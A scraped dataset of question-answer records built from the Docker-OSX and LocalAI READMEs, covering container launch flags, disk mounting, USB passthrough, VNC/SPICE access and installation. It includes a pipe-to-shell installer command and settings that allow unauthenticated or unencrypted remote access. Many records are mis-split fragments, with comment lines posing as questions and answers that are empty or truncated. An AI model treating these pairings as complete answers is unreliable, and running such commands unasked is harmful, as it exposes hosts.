{"id": "gh_7d41f07d906d", "question": "How to: generating random serial numbers, using the DIY installer, along with the screen resolution changes.", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e GENERATE_UNIQUE=true \\\n    -e WIDTH=800 \\\n    -e HEIGHT=600 \\\n    sickcodes/docker-osx:latest\n```\n\nHere's a few other resolutions! If your resolution is invalid, it will default to 800x600.\n\n```\n    -e WIDTH=800 \\\n    -e HEIGHT=600 \\\n```\n\n```\n    -e WIDTH=1280 \\\n    -e HEIGHT=768 \\\n```\n\n```\n    -e WIDTH=1600 \\\n    -e HEIGHT=900 \\\n```\n\n```\n    -e WIDTH=1920 \\\n    -e HEIGHT=1080 \\\n```\n\n```\n    -e WIDTH=2560 \\\n    -e HEIGHT=1600 \\\n```\n\n#### This example shows how to change resolution after the container is created.\n\nFirst step is to stop the docker daemon\n```\nsudo systemctl stop docker\n```\nThe second step is to change container config in \n```\n/var/lib/docker/containers/[container-id]/config.v2.json\n```\n(Suppose your original WIDTH is 1024 and HEIGHT is 768, you can search 1024 and replace it with the new value. Same for 768.)\n\nThe last step is to restart the docker daemon\n```\nsudo systemctl restart docker\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846603"}
{"id": "gh_b851c79f5df9", "question": "How to: Mounting physical disks in Mac OSX", "question_body": "About sickcodes/Docker-OSX", "answer": "Pass the disk into the container as a volume and then pass the disk again into QEMU command line extras with.\n\nUse the `config-custom.plist` because you probably want to see the boot menu, otherwise omit the first line:\n\n```bash\nDISK_TWO=\"${PWD}/mount_me.img\"\n```\n```dockerfile\n-e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \\\n-v \"${DISK_TWO}:/disktwo\" \\\n-e EXTRA='-device ide-hd,bus=sata.5,drive=DISK-TWO -drive id=DISK-TWO,if=none,file=/disktwo,format=qcow2' \\\n```\n\n#### Physical disk mounting example\n\n```bash\nOSX_IMAGE=\"${PWD}/mac_hdd_ng_xcode_bigsur.img\"\nDISK_TWO=\"${PWD}/mount_me.img\"\n\ndocker run -it \\\n    --device /dev/kvm \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \\\n    -v \"${OSX_IMAGE}\":/image \\\n    -v \"${DISK_TWO}\":/disktwo \\\n    -e EXTRA='-device ide-hd,bus=sata.5,drive=DISK-TWO -drive id=DISK-TWO,if=none,file=/disktwo,format=qcow2' \\\n    sickcodes/docker-osx:naked\n```\n\nSee also: [here](https://github.com/sickcodes/Docker-OSX/issues/222).\n\n#### Extracting the APFS disk on Linux\n\nIn Docker-OSX, we are using `qcow2` images.\n\nThis means the image grows as you use it, but the guest OS thinks you have 200GB available.\n\n**READ ONLY**\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846610"}
{"id": "gh_70f8d6b80ae0", "question": "How to: mount the qemu image like a real disk", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo modprobe nbd max_part=8\nsudo qemu-nbd --connect=/dev/nbd0 ./image.img\nsudo fdisk /dev/nbd0 -l\n\nmkdir -p ./mnt\nsudo mount /dev/nbd0p1 ./mnt", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846615"}
{"id": "gh_70930c76bfbb", "question": "How to: mount using apfs-linux-rw OR apfs-fuse", "question_body": "About sickcodes/Docker-OSX", "answer": "mkdir -p ./part\n\nsudo mount /dev/nbd0p2 ./part\nsudo apfs-fuse -o allow_other /dev/nbd0p2 ./part\n\n```\n\nWhen you are finishing looking at your disk, you can unmount the partition, the disk, and remove the loopback device:\n\n```bash\nsudo umount ./part\nsudo umount ./mnt\nsudo qemu-nbd --disconnect /dev/nbd0\nsudo rmmod nbd\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846620"}
{"id": "gh_e279312b6c77", "question": "How to: USB Passthrough", "question_body": "About sickcodes/Docker-OSX", "answer": "Firstly, QEMU must be started as root. \n\nIt is also potentially possible to accomplish USB passthrough by changing the permissions of the device in the container.\nSee [here](https://www.linuxquestions.org/questions/slackware-14/qemu-usb-permissions-744557/#post3628691).\n\nFor example, create a new Dockerfile with the following\n\n```bash\nFROM sickcodes/docker-osx\nUSER arch\nRUN sed -i -e s/exec\\ qemu/exec\\ sudo\\ qemu/ ./Launch.sh\nCOPY --chown=arch ./new_image.img /home/arch/OSX-KVM/mac_hdd_ng.img\n```\n\nWhere `new_image.img` is the qcow2 image you extracted. Then rebuild with `docker build .`\n\nNext we need to find out the bus and port numbers of the USB device we want to pass through to the VM:\n\n```bash\nlsusb -t\n/:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 5000M\n/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M\n    |__ Port 2: Dev 5, If 0, Class=Human Interface Device, Driver=usbhid, 12M\n    |__ Port 2: Dev 5, If 1, Class=Chip/SmartCard, Driver=, 12M\n    |__ Port 3: Dev 2, If 0, Class=Wireless, Driver=, 12M\n    |__ Port 3: Dev 2, If 1, Class=Wireless, Driver=, 12M\n    |__ Port 5: Dev 3, If 0, Class=Video, Driver=uvcvideo, 480M\n    |__ Port 5: Dev 3, If 1, Class=Video, Driver=uvcvideo, 480M\n```\n\nIn this example, we want to pass through a smartcard device. The device we want is on bus 1 and port 2.\n\nThere may also be differences if your device is usb 2.0 (ehci) vs usb 3.0 (xhci).\nSee [here](https://unix.stackexchange.com/a/452946/101044) for more details.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846627"}
{"id": "gh_8e26196e611d", "question": "How to: runs in privileged mode to enable access to the usb devices.", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run \\\n  --privileged \\\n  --device /dev/kvm \\\n  -e RAM=4 \\\n  -p 50922:10022 \\\n  -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n  -e EXTRA=\"-device virtio-serial-pci -device usb-host,hostbus=1,hostport=2\" \\\n  mycustomimage\n```\n\nYou should see the device show up when you do `system_profiler SPUSBDataType` in the MacOS shell.\n\nImportant Note: this will cause the host system to lose access to the USB device while the VM is running!", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846632"}
{"id": "gh_2b27eb1d5567", "question": "How to: Container creation examples", "question_body": "About sickcodes/Docker-OSX", "answer": "#### Quick Start your own image (naked container image)\n\nThis is my favourite container. You can supply an existing disk image as a Docker command line argument.\n\n- Pull images out using `sudo find /var/lib/docker -name mac_hdd_ng.img -size +10G`\n\n- Supply your own local image with the command argument `-v \"${PWD}/mac_hdd_ng.img:/image\"` and use `sickcodes/docker-osx:naked` when instructing Docker to create your container.\n\n  - Naked image is for booting any existing .img file, e.g in the current working directory (`$PWD`)\n  - By default, this image has a variable called `NOPICKER` which is `\"true\"`. This skips the disk selection menu. Use `-e NOPICKER=false` or any other string than the word `true` to enter the boot menu.\n\n    This lets you use other disks instead of skipping the boot menu, e.g. recovery disk or disk utility.\n\n```bash\ndocker pull sickcodes/docker-osx:naked", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846637"}
{"id": "gh_8603bfe65249", "question": "How to: change mac_hdd_ng.img", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v \"${PWD}/mac_hdd_ng.img:/image\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    sickcodes/docker-osx:naked", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846642"}
{"id": "gh_93ddd1fe1b0d", "question": "How to: run local copy of the auto image + SSH + Boot menu", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v \"${PWD}/mac_hdd_ng_auto.img:/image\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e \"NOPICKER=false\" \\\n    sickcodes/docker-osx:naked\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846647"}
{"id": "gh_4bbc83949cd9", "question": "How to: Building an OSX container with video output", "question_body": "About sickcodes/Docker-OSX", "answer": "The Quick Start command should work out of the box, provided that you keep the following lines. Works in `auto` & `naked` machines:\n\n```\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n```\n\n#### Prebuilt image with arbitrary command line arguments \n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\n`-e OSX_COMMANDS` lets you run any commands inside the container\n\n```bash\ndocker pull sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846652"}
{"id": "gh_5a698cbeaa22", "question": "How to: boot to OS X shell + display + specify commands to run inside OS X!", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e \"OSX_COMMANDS=/bin/bash -c \\\"put your commands here\\\"\" \\\n    sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846656"}
{"id": "gh_70fa0383a2d8", "question": "How to: Boots in a minute or two!", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\nOR if you have an image already and just want to log in and execute arbitrary commands:\n\n```bash\ndocker pull sickcodes/docker-osx:naked-auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846660"}
{"id": "gh_d0efa56b321a", "question": "How to: Further examples", "question_body": "About sickcodes/Docker-OSX", "answer": "There's a myriad of other potential use cases that can work perfectly with Docker-OSX, some of which you'll see below!", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846669"}
{"id": "gh_77801ecc2397", "question": "How to: Building a headless OSX container", "question_body": "About sickcodes/Docker-OSX", "answer": "For a headless container, **remove** the following two lines from your `docker run` command:\n\n```\n    # -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    # -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n```\n\n#### Building a headless container from a custom image \n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nThis is particularly helpful for CI/CD pipelines.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846675"}
{"id": "gh_2033b8341117", "question": "How to: run your own image headless + SSH", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v \"${PWD}/mac_hdd_ng.img:/image\" \\\n    sickcodes/docker-osx:naked\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846679"}
{"id": "gh_2c2abeaaa3a0", "question": "How to: qemu 6 seems to require a username for vnc now", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\n**NOT TLS/HTTPS Encrypted at all!**\n\nOr `ssh -N root@1.1.1.1 -L  5999:127.0.0.1:5999`, where `1.1.1.1` is your remote server IP.\n\n(Note: if you close port 5999 and use the SSH tunnel, this becomes secure.)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846689"}
{"id": "gh_840b0e6078d1", "question": "How to: Building a headless container to run remotely with secure VNC", "question_body": "About sickcodes/Docker-OSX", "answer": "Add the following line:\n\n`-e EXTRA=\"-display none -vnc 0.0.0.0:99,password=on\"`\n\nIn the Docker terminal, press `enter` until you see `(qemu)`.\n\nType `change vnc password someusername`\n\nEnter a password for your new vnc username^.\n\nYou also need the container IP: `docker inspect\n| jq -r '.[0].NetworkSettings.IPAddress'`\n\nOr `ip n` will usually show the container IP first.\n\nNow VNC connects using the Docker container IP, for example `172.17.0.2:5999`\n\nRemote VNC over SSH: `ssh -N root@1.1.1.1 -L  5999:172.17.0.2:5999`, where `1.1.1.1` is your remote server IP and `172.17.0.2` is your LAN container IP.\n\nNow you can direct connect VNC to any container built with this command!", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846696"}
{"id": "gh_08d40ba09bcc", "question": "How to: I'd like to use SPICE instead of VNC", "question_body": "About sickcodes/Docker-OSX", "answer": "Optionally, you can enable the SPICE protocol, which allows use of `remote-viewer` to access your OSX container rather than VNC.\n\nNote: `-disable-ticketing` will allow unauthenticated access to the VM. See the [spice manual](https://www.spice-space.org/spice-user-manual.html) for help setting up authenticated access (\"Ticketing\").\n\n```bash\n  docker run \\\n    --device /dev/kvm \\\n    -p 3001:3001 \\\n    -p 50922:10022 \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e EXTRA=\"-monitor telnet::45454,server,nowait -nographic -serial null -spice disable-ticketing,port=3001\" \\\n    mycustomimage\n```\n\nThen simply do `remote-viewer spice://localhost:3001` and add `--spice-debug` for debugging.\n\n#### Creating images based on an already configured and set up container\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846702"}
{"id": "gh_5f56f39ce81c", "question": "How to: make note of your container id", "question_body": "About sickcodes/Docker-OSX", "answer": "docker ps --all\ndocker commit containerid newImageName", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846707"}
{"id": "gh_ef9c4ed760ba", "question": "How to: To run this image do the following", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run \\\n    --device /dev/kvm \\\n    --device /dev/snd \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    newImageName\n```\n\n```bash\ndocker pull sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846711"}
{"id": "gh_72db8493a5ee", "question": "How to: boot directly into a real OS X shell with no display (Xvfb) [HEADLESS]", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846715"}
{"id": "gh_897ad59abf6b", "question": "How to: Wait 2-3 minutes until you drop into the shell.", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\n#### Run the original version of Docker-OSX\n\n```bash\n\ndocker pull sickcodes/docker-osx:latest\n\ndocker run -it \\\n    --device /dev/kvm \\\n    --device /dev/snd \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    sickcodes/docker-osx:latest", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846721"}
{"id": "gh_feefecf8b741", "question": "How to: need more RAM and SSH on localhost -p 50922?", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\n#### Run but enable SSH in OS X (Original Version)!\n\n```bash\ndocker run -it \\\n    --device /dev/kvm \\\n    --device /dev/snd \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    sickcodes/docker-osx:latest", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846726"}
{"id": "gh_5f7eacb6e69b", "question": "How to: turn on SSH after you've installed OS X in the \"Sharing\" settings.", "question_body": "About sickcodes/Docker-OSX", "answer": "ssh user@localhost -p 50922\n```\n\n#### Autoboot into OS X after you've installed everything\n\nAdd the extra option `-e NOPICKER=true`.\n\nOld machines:\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846730"}
{"id": "gh_b9fec35f0c7c", "question": "How to: NEW CONTAINERS", "question_body": "About sickcodes/Docker-OSX", "answer": "docker exec containerID mv ./Launch-nopicker.sh ./Launch.sh", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846735"}
{"id": "gh_207be8f851da", "question": "How to: VNC-VERSION-CONTAINER", "question_body": "About sickcodes/Docker-OSX", "answer": "docker exec containerID mv ./Launch-nopicker.sh ./Launch_custom.sh", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846739"}
{"id": "gh_16c2209a60b1", "question": "How to: LEGACY CONTAINERS", "question_body": "About sickcodes/Docker-OSX", "answer": "docker exec containerID bash -c \"grep -v InstallMedia ./Launch.sh > ./Launch-nopicker.sh\nchmod +x ./Launch-nopicker.sh\nsed -i -e s/OpenCore\\.qcow2/OpenCore\\-nopicker\\.qcow2/ ./Launch-nopicker.sh\n\"\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846743"}
{"id": "gh_a0ac8507fe71", "question": "How to: The big-sur image starts slowly after installation. Is this expected?", "question_body": "About sickcodes/Docker-OSX", "answer": "Automatic updates are still on in the container's settings. You may wish to turn them off. [We have future plans for development around this.](https://github.com/sickcodes/Docker-OSX/issues/227)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846748"}
{"id": "gh_f21d2f7d71f2", "question": "How to: What is `${DISPLAY:-:0.0}`?", "question_body": "About sickcodes/Docker-OSX", "answer": "`$DISPLAY` is the shell variable that refers to your X11 display server.\n\n`${DISPLAY}` is the same, but allows you to join variables like this:\n\n- e.g. `${DISPLAY}_${DISPLAY}` would print `:0.0_:0.0`\n- e.g. `$DISPLAY_$DISPLAY`     would print `:0.0`\n\n...because `$DISPLAY_` is not `$DISPLAY`\n\n`${variable:-fallback}` allows you to set a \"fallback\" variable to be substituted if `$variable` is not set.\n\nYou can also use `${variable:=fallback}` to set that variable (in your current terminal).\n\nIn Docker-OSX, we assume, `:0.0` is your default `$DISPLAY` variable.\n\nYou can see what yours is\n\n```bash\necho $DISPLAY\n```\n\nThat way, `${DISPLAY:-:0.0}` will use whatever variable your X11 server has set for you, else `:0.0`", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846754"}
{"id": "gh_e48f3d984ddc", "question": "How to: What is `-v /tmp/.X11-unix:/tmp/.X11-unix`?", "question_body": "About sickcodes/Docker-OSX", "answer": "`-v` is a Docker command-line option that lets you pass a volume to the container.\n\nThe directory that we are letting the Docker container use is a X server display socket.\n\n`/tmp/.X11-unix`\n\nIf we let the Docker container use the same display socket as our own environment, then any applications you run inside the Docker container will show up on your screen too! [https://www.x.org/archive/X11R6.8.0/doc/RELNOTES5.html](https://www.x.org/archive/X11R6.8.0/doc/RELNOTES5.html)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846759"}
{"id": "gh_7ea921ef5dd9", "question": "How to: ALSA errors on startup or container creation", "question_body": "About sickcodes/Docker-OSX", "answer": "You may when initialising or booting into a container see errors from the `(qemu)` console of the following form: \n`ALSA lib blahblahblah: (function name) returned error: no such file or directory`. These are more or less expected. As long as you are able to boot into the container and everything is working, no reason to worry about these.\n\nSee also: [here](https://github.com/sickcodes/Docker-OSX/issues/174).", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846763"}
{"id": "gh_b650a3a58a2e", "question": "How to: 📚🆕 Local Stack Family", "question_body": "About mudler/LocalAI", "answer": "🆕 LocalAI is now part of a comprehensive suite of AI tools designed to work together:\nLocalAGI\nA powerful Local AI agent management platform that serves as a drop-in replacement for OpenAI's Responses API, enhanced with advanced agentic capabilities.\nLocalRecall\nA REST-ful API and knowledge base management system that provides persistent memory and storage capabilities for AI agents.", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445530"}
{"id": "gh_733869b6bb3a", "question": "How to: Youtube video", "question_body": "About mudler/LocalAI", "answer": "", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445546"}
{"id": "gh_6dba296eaaec", "question": "How to: Screenshots", "question_body": "About mudler/LocalAI", "answer": "| Talk Interface | Generate Audio |\n| --- | --- |\n| ![Screenshot 2025-03-31 at 12-01-36 LocalAI - Talk](./docs/assets/images/screenshots/screenshot_tts.png) | ![Screenshot 2025-03-31 at 12-01-29 LocalAI - Generate audio with voice-en-us-ryan-low](./docs/assets/images/screenshots/screenshot_tts.png) |\n\n| Models Overview | Generate Images |\n| --- | --- |\n| ![Screenshot 2025-03-31 at 12-01-20 LocalAI - Models](./docs/assets/images/screenshots/screenshot_gallery.png) | ![Screenshot 2025-03-31 at 12-31-41 LocalAI - Generate images with flux 1-dev](./docs/assets/images/screenshots/screenshot_image.png) |\n\n| Chat Interface | Home |\n| --- | --- |\n| ![Screenshot 2025-03-31 at 11-57-44 LocalAI - Chat with localai-functioncall-qwen2 5-7b-v0 5](./docs/assets/images/screenshots/screenshot_chat.png) | ![Screenshot 2025-03-31 at 11-57-23 LocalAI API - c2a39e3 (c2a39e3639227cfd94ffffe9f5691239acc275a8)](./docs/assets/images/screenshots/screenshot_home.png) |\n\n| Login | Swarm |\n| --- | --- |\n|![Screenshot 2025-03-31 at 12-09-59 ](./docs/assets/images/screenshots/screenshot_login.png) | ![Screenshot 2025-03-31 at 12-10-39 LocalAI - P2P dashboard](./docs/assets/images/screenshots/screenshot_p2p.png) |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445556"}
{"id": "gh_1633895c9979", "question": "How to: 💻 Quickstart", "question_body": "About mudler/LocalAI", "answer": "> ⚠️ **Note:** The `install.sh` script is currently experiencing issues due to the heavy changes currently undergoing in LocalAI and may produce broken or misconfigured installations. Please use Docker installation (see below) or manual binary installation until [issue #8032](https://github.com/mudler/LocalAI/issues/8032) is resolved.\n\nRun the installer script:\n\n```bash", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445564"}
{"id": "gh_597cf344a053", "question": "How to: Basic installation", "question_body": "About mudler/LocalAI", "answer": "curl https://localai.io/install.sh | sh\n```\n\nFor more installation options, see [Installer Options](https://localai.io/installation/).", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445570"}
{"id": "gh_bf29f0fc604e", "question": "How to: macOS Download:", "question_body": "About mudler/LocalAI", "answer": "> Note: the DMGs are not signed by Apple as quarantined. See https://github.com/mudler/LocalAI/issues/6268 for a workaround, fix is tracked here: https://github.com/mudler/LocalAI/issues/6244", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445577"}
